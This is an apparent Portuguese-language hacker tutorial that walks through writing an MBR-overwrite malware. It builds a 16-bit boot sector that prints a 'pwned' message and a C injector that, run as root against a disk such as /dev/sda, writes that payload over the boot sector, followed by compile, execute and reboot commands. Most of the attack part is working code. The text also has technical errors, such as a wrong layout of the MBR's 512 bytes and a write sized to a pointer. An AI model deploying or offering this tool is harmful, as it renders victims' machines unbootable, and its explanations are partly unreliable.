Amolo ☽

Escrevendo um malware de MBR para Linux

Autor: @br0sck

                                :::!~!!!!!:.
                            .xUHWH!! !!?M88WHX:.
                          .X*#M@$!!  !X!M$$$$$$WWx:.
                         :!!!!!!?H! :!$!$$$$$$$$$$8X:
                        !!~  ~:~!! :~!$!#$$$$$$$$$$8X:
                       :!~::!H!<   ~.U$X!?R$$$$$$$$MM!
                       ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
                         !:~~~ .:!M"T#$$$$WX??#MRRMMM!
                         ~?WuxiW*`   `"#$$$$8!!!!??!!!
                       :X- M$$$$       `"T#$T~!8$WUXU~
                      :%`  ~#$$$m:        ~!~ ?$$$$$$
                    :!`.-   ~T$$$$8xx.  .xWW- ~""##*"
          .....   -~~:<` !    ~?T#$$@@W@*?$$      /`
          W$@@M!!! .!~~ !!     .:XUW$W!~ `"~:    :
          #"~~`.:x%`!!  !H:   !WM$$$$Ti.: .!WUn+!`
          :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~		- Esse setor de boot foi pwnado!
          .~~   :X@!.-~   ?@WTWo("*$$$W$TH$! `
          Wi.~!X$?!-~    : ?$$$B$Wu("**$RM!
          $R@i.~~ !     :   ~$$$$$B$$en:``
          ?MXT@Wx.~    :     ~"##*$$$$M~



            ▓▓▓▓▓▓        ▓▓▓▓▓▓      ▓▓▓▓▓▓▓▓    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓    ▓▓▓▓    
        ░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓  
        ░░▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Sumário░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▒▒░░░░░░░░░░░░░░░░░░1. Petya Ransomware░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░2. O que é um setor de boot░░░░░░░░░░░░▒▒▓▓▓▓
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░3. Codando um simples bootloader░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▓▓▒▒░░░░░░░░░░4. Codando um malware MBR Overwrite░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░5. Execução e Demonstração░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░██░░░░██████░░░░░░▒▒▒▒  
            ▓▓▒▒░░░░░░░░████████░░░░██████████░░░░░░████████░░████░░░░▒▒▒▒  
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▓▓▒▒░░░░░░░░██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░██████░░████████░░████░░░░████████████░░██░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░██████░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓
            ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓  
                ▓▓▓▓▓▓        ▓▓▓▓▓▓    ▓▓▓▓▓▓      ▓▓▓▓      ▓▓▓▓▓▓▓▓▓▓  


Neste paper, irei demonstrar um ataque ao setor de boot, conhecido como Master Boot Record (MBR). O ataque consiste em sobrescrever
o setor de boot por um setor malicioso, o ataque é chamado de MBR Overwrite. Esse ataque o MBR pode impedir o sistema de ser ini-
cializado. Neste paper você aprenderá a desenvolver scripts simples em Assembly 16 bits usando interruptores da Basic Input/Output
System (BIOS) e um pouco de C. Lembrando que este paper foi escrevido com fins educativos e para pessoas curiosas, assim como eu.

Vamos começar por um famoso malware que teve seu destaque em 2016 e 2017, o Petya Ransomware.

╔═════════════════════════╗
║     Petya Ransomware    ║
╚═════════════════════════╝

Petya é uma família de malware de criptografia que foi descoberta pela primeira vez em 2016. O malware tem como alvo os sistemas
baseados no Windows da Microsoft. Seu objetivo é infectar o MBR com código malicioso que impedirá a inicialização do sistema, blo-
queando a inicialização do sistema. O desbloqueio é feito através de uma chave que é entregue à vítima após o pagamento do resgate
pelos seus dados.

╔════════════════════════════╗
║  O que é um setor de boot  ║
╚════════════════════════════╝

Como dito anteriormente, o setor de boot, conhecido como MBR, é o primeiro setor a ser utilizado, a placa-mãe é responsável por
essa inicialização. O MBR ocupa os primeiros 446 bytes da seção de boot e o código de inicialização ocupa os 64 bytes restantes.
O endereço 0x7C00 é o endereço de memória na qual o código de inicialização é carregado quando o computador é ligado. Isso é
feito pelo processador ao ler o MBR do disco rígido e carregar o código de inicialização na memória RAM. O código de inicializa-
ção, por sua vez, é responsável por carregar o sistema operacional no resto da memória RAM.

╔═════════════════════════════════╗
║  Codando um simples bootloader  ║
╚═════════════════════════════════╝

Para começarmos a escrever o código, precisamos definir algumas coisas, primeiro o endereço 0x7C00, que é o endereço do setor de
boot, e depois os bits, que no caso é 16.

Código:
╔═════════════════════════════════╗
║ [BITS 16]                       ║
║ [ORG 0x7C00]                    ║
╚═════════════════════════════════╝

Para adiantarmos as últimas linhas, vamos preencher o código de boot com bytes vazios até 512 bytes e assinar com um código
mágico. Iremos assinar usando o endereço x86 little-endian, conhecido como 0xAA55.

Código:
╔══════════════════════════════════════════════╗
║ [BITS 16]                                    ║
║ [ORG 0x7C00]                                 ║
║                                              ║
║                                              ║
║                                              ║
║ times 510 - ($ - $$) db 0                    ║
║ dw 0xAA55                                    ║
╚══════════════════════════════════════════════╝

A linha que tem a função times está encarregada de preencher até 510 bytes no binário que será compilado, enquanto dw assinará
com o endereço 0xAA55.

Agora iremos escrever uma função para imprimir cada letra de um byte definido, conhecido como DB. Para isso, iremos mover o
endereço 0x0E para o registrador AH, que é um registro de acumulação alto. Posteriormente vem acompanhado na linha de baixo o
caractere que você gostaria de imprimir sendo movido para o registrador de baixo acumulo, chamado AL. Próxima linha invocará
o interruptor da BIOS, conhecido como 0x10, utilizando o INT.

Código:
╔══════════════════════════════════════════════╗
║ [BITS 16]                                    ║
║ [ORG 0x7C00]                                 ║
║                                              ║
║ mov ah, 0x0E                                 ║
║ mov al, 'X'                                  ║
║ int 0x10                                     ║
║                                              ║
║ times 510 - ($ - $$) db 0                    ║
║ dw 0xAA55                                    ║
╚══════════════════════════════════════════════╝

Vamos compilar o código para testar se está funcionando corretamente.

$ nasm -f bin bootloader.asm -o bootloader.bin
$ qemu-system-x86_64 bootloader.bin

╔═════════════════════════════════════════════════════════════════════════════╗
║ SeaBIOS (version Arch Linux 1.16.1-1-1)				      ║
║									      ║
║									      ║
║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900  ║
║                                                                             ║  
║									      ║
║									      ║
║ Booting from Hard Disk...						      ║
║ X									      ║
╚═════════════════════════════════════════════════════════════════════════════╝

Podemos ver que está funcionando corretamente.

Agora podemos criar uma função para imprimir todos os caracteres de uma variável. Irei usar o mesmo código que utilizei no
meu artigo sobre impressão de strings em Assembly 16 bits. Não irei explicar detalhadamente como funciona a função nesse
paper, mas aqui está o link para quem tiver curiosidade:

https://medium.com/@mrempy/assembly-16-bits-printing-strings-a114c72f6e43

Código:
╔═══════════════════════════════════════════════════════╗
║ [BITS 16]                                             ║
║ [ORG 0x7C00]                                          ║
║                                                       ║
║ Jmp Main                                              ║
║                                                       ║
║ Main:                                                 ║
║     mov si, pwnedmessage                              ║
║     call Print                                        ║
║     jmp $                                             ║
║                                                       ║
║ Print:                                                ║
║     mov ah, 0x0E                                      ║
║     mov al, [si]                                      ║
║     loop:                                             ║
║         int 0x10                                      ║
║         inc si                                        ║
║         mov al, [si]                                  ║
║         cmp al, 0                                     ║
║         jne loop                                      ║
║     ret                                               ║
║ ret                                                   ║
║                                                       ║
║                                                       ║
║ pwnedmessage db "Esse setor de boot foi pwnado!"      ║
║                                                       ║
║ times 510 - ($ - $$) db 0                             ║
║ dw 0xAA55                                             ║
╚═══════════════════════════════════════════════════════╝

O código para o setor de boot está pronto, podemos compilar e testar.

$ nasm -f bin bootloader.asm -o bootloader.bin
$ qemu-system-x86_64 bootloader.bin

╔═════════════════════════════════════════════════════════════════════════════╗
║ SeaBIOS (version Arch Linux 1.16.1-1-1)				      ║
║									      ║
║									      ║
║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900  ║
║                                                                             ║  
║									      ║
║									      ║
║ Booting from Hard Disk...						      ║
║ Esse setor de boot foi pwnado!			          	      ║
╚═════════════════════════════════════════════════════════════════════════════╝

╔════════════════════════════════════╗
║  Codando um malware MBR Overwrite  ║
╚════════════════════════════════════╝

Agora precisamos desenvolver um malware para substituir a MBR pelo código malicioso que temos, então temos que definir os
cabeçalhos do script.

Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h>                                                          ║  
║ #include <stdlib.h>			   			              ║  
║ #include <unistd.h>							      ║  
║                                                                             ║  
║ int main(int argc, char* argv[]) {                                          ║  
║     return 0;								      ║
║ }									      ║
║                      						              ║
║                                   			          	      ║
╚═════════════════════════════════════════════════════════════════════════════╝

Para adicionar o código malicioso de setor de boot, podemos usar o CyberChef para transforma o binário em Hex e adicioná-lo
em uma variável char não assinada.

CyberChef: https://cyberchef.org/#recipe=To_Hex('%5C%5Cx',0)
Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h>                                                          ║  
║ #include <stdlib.h>			   			              ║  
║ #include <unistd.h>							      ║  
║                                                                             ║  
║ int main(int argc, char* argv[]) {                                          ║  
║     unsigned char* payload = "\x01\x02\x03\x04\x05...";                     ║  
║     return 0;								      ║
║ }									      ║
║                      						              ║
║                                   			          	      ║
╚═════════════════════════════════════════════════════════════════════════════╝

Agora precisamos escrever um código para abrir o sistema de arquivos do disco para escrever os bytes nele, e depois definir
o ponto de partida da escrita, para não acabar "limpando" o disco e adicionando o payload.

Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h>                                                          ║  
║ #include <stdlib.h>			   			              ║  
║ #include <unistd.h>							      ║  
║                                                                             ║  
║ int main(int argc, char* argv[]) {                                          ║  
║     unsigned char* payload = "\x01\x02\x03\x04\x05...";                     ║
║     FILE* harddisk;                                                         ║  
║                                                                             ║  
║     if (geteuid() != 0) {                                                   ║  
║         puts("You need to run as root user");                               ║    
║         return 1;                                                           ║  
║     }                                                                       ║  
║     harddisk = fopen(argv[1], "wb");                                        ║  
║     fseek(harddisk, 0, SEEK_SET);                                           ║  
║     fwrite(payload, sizeof(payload), 1, harddisk);                          ║  
║     fclose(harddisk);                                                       ║
║     return 0;								      ║
║ }									      ║
║                      						              ║
║                                   			          	      ║
╚═════════════════════════════════════════════════════════════════════════════╝

Você precisa saber qual é o caminho do seu disco, por exemplo /dev/sda.

Tudo feito! Agora é só compilar e executar em um ambiente virtualizado para não causar danos na máquina.

$ gcc injector.c -o injector.elf

╔═══════════════════════════╗
║  Execução e Demonstração  ║
╚═══════════════════════════╝

Após enviar o código e compilá-lo para um ambiente virtual, execute o binário como root e reinicie a máquina.

$ sudo ./injector.elf
$ reboot

Após reiniciar a máquina você receberá uma mensagem parecida como:

╔═════════════════════════════════════════════════════════════════════════════╗
║ Esse setor de boot foi pwnado!			          	      ║
║									      ║
║									      ║
║									      ║
║                                                                             ║  
║									      ║
║									      ║
║									      ║
║									      ║
╚═════════════════════════════════════════════════════════════════════════════╝

Observe um exemplo em GIF demonstrando a injeção e a reinicialização da máquina:
https://github.com/Brosck/MBROverwrite/blob/main/assets/demo.gif


                                     _--_
                                    /   -)
                                ___/___|___
                   ____-----=~~///|     ||||~~~==-----_____
                //~////////////~/|     |//|||||\\\\\\\\\\\\\
              ////////////////////|   |///////|\\\\\\\\\\\\\\\
             /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
            //~                  /\\|\\                      ~\\
                                ///W^\W\
                                ////|||\\\
                                ~~~~~~~~~~
                                  Amolo


Obrigado por lerem meu paper, até a próxima ;)